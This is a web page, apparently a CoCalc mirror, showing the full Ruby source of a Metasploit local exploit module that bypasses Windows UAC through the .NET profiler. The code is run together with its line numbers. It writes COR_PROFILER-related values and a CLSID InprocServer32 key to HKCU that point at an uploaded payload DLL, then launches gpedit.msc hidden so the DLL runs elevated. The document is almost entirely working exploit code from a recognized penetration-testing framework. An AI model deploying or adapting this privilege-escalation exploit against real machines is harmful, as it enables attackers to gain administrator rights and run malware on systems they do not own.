Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Post::Windows::Priv11include Post::Windows::Runas1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',18'Description' => %q{19Microsoft Windows allows for the automatic loading of a profiling COM object during20the launch of a CLR process based on certain environment variables ostensibly to21monitor execution. In this case, we abuse the profiler by pointing to a payload DLL22that will be launched as the profiling thread. This thread will run at the permission23level of the calling process, so an auto-elevating process will launch the DLL with24elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR25process, but others would work, too.26},27'License' => MSF_LICENSE,28'Author' => [29'Casey Smith', # UAC bypass discovery and research30'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research31'bwatters-r7', # Module32],33'Platform' => ['win'],34'SessionTypes' => ['meterpreter'],35'Targets' => [36[ 'Windows x64', { 'Arch' => ARCH_X64 } ]37],38'DefaultTarget' => 0,39'Notes' => {40'Stability' => [CRASH_SAFE],41'SideEffects' => [ARTIFACTS_ON_DISK],42'Reliability' => []43},44'References' => [45['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],46['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']47],48'DisclosureDate' => '2017-03-17',49'Compat' => {50'Meterpreter' => {51'Commands' => %w[52stdapi_sys_config_getenv53stdapi_sys_process_execute54]55}56}57)58)59register_options(60[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]61)62end6364def check65if is_uac_enabled?66Exploit::CheckCode::Appears67else68Exploit::CheckCode::Safe69end70end7172def write_reg_value(registry_hash)73vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")74begin75if !registry_key_exist?(registry_hash[:key_name])76registry_createkey(registry_hash[:key_name])77registry_hash[:delete_on_cleanup] = true78else79registry_hash[:delete_on_cleanup] = false80end81registry_setvaldata(registry_hash[:key_name], \82registry_hash[:value_name], \83registry_hash[:value_value], \84registry_hash[:value_type])85rescue Rex::Post::Meterpreter::RequestError => e86print_error(e.to_s)87end88end8990def remove_reg_value(registry_hash)91# we may have already deleted the key92return unless registry_key_exist?(registry_hash[:key_name])9394begin95if registry_hash[:delete_on_cleanup]96vprint_status("Deleting #{registry_hash[:key_name]} key")97registry_deletekey(registry_hash[:key_name])98else99vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")100registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])101end102rescue Rex::Post::Meterpreter::RequestError => e103print_bad('Unable to clean up registry')104print_error(e.to_s)105end106end107108def exploit109@reg_keys = []110check_permissions!111case get_uac_level112when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,113UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,114UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT115fail_with(Failure::NotVulnerable,116"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")117when UAC_DEFAULT118print_good('UAC is set to Default')119print_good('BypassUAC can bypass this setting, continuing...')120when UAC_NO_PROMPT121print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')122shell_execute_exe123return124end125126# get directory locations straight127win_dir = session.sys.config.getenv('windir')128vprint_status('win_dir = ' + win_dir)129tmp_dir = session.sys.config.getenv('tmp')130vprint_status('tmp_dir = ' + tmp_dir)131exploit_dir = win_dir + '\\System32\\'132vprint_status('exploit_dir = ' + exploit_dir)133target_filepath = exploit_dir + 'gpedit.msc'134vprint_status('target_filepath = ' + target_filepath)135payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll'136payload_pathname = tmp_dir + '\\' + payload_name137138# make payload139vprint_status('Making Payload')140vprint_status('payload_pathname = ' + payload_pathname)141payload = generate_payload_dll142143uuid = SecureRandom.uuid144vprint_status("UUID = #{uuid}")145# This reg key will not hurt anything in windows 10+, but is not required.146version = get_version_info147unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease148@reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",149value_name: '',150value_type: 'REG_EXPAND_SZ',151value_value: payload_pathname,152delete_on_cleanup: false)153end154reg_keys.push(key_name: "HKCU\\Environment",155value_name: 'COR_PROFILER',156value_type: 'REG_SZ',157value_value: "{#{uuid}}",158delete_on_cleanup: false)159reg_keys.push(key_name: "HKCU\\Environment",160value_name: 'COR_ENABLE_PROFILING',161value_type: 'REG_SZ',162value_value: '1',163delete_on_cleanup: false)164reg_keys.push(key_name: "HKCU\\Environment",165value_name: 'COR_PROFILER_PATH',166value_type: 'REG_SZ',167value_value: payload_pathname,168delete_on_cleanup: false)169@reg_keys.each do |key_hash|170write_reg_value(key_hash)171end172173# Upload payload174vprint_status("Uploading Payload to #{payload_pathname}")175write_file(payload_pathname, payload)176vprint_status('Payload Upload Complete')177178vprint_status('Launching ' + target_filepath)179begin180session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)181rescue Rex::Post::Meterpreter::RequestError => e182print_error(e.to_s)183end184print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")185print_status('Please wait for session and cleanup....')186end187188def cleanup189if @reg_keys.present?190vprint_status('Removing Registry Changes')191@reg_keys.each do |key_hash|192remove_reg_value(key_hash)193end194vprint_status('Registry Changes Removed')195end196end197198def check_permissions!199unless check == Exploit::CheckCode::Appears200fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')201end202fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?203# Check if you are an admin204# is_in_admin_group can be nil, true, or false205print_status('UAC is Enabled, checking level...')206vprint_status('Checking admin status...')207admin_group = is_in_admin_group?208if admin_group.nil?209print_error('Either whoami is not there or failed to execute')210print_error('Continuing under assumption you already checked...')211elsif admin_group212print_good('Part of Administrators group! Continuing...')213else214fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')215end216217if get_integrity_level == INTEGRITY_LEVEL_SID[:low]218fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')219end220end221end222223224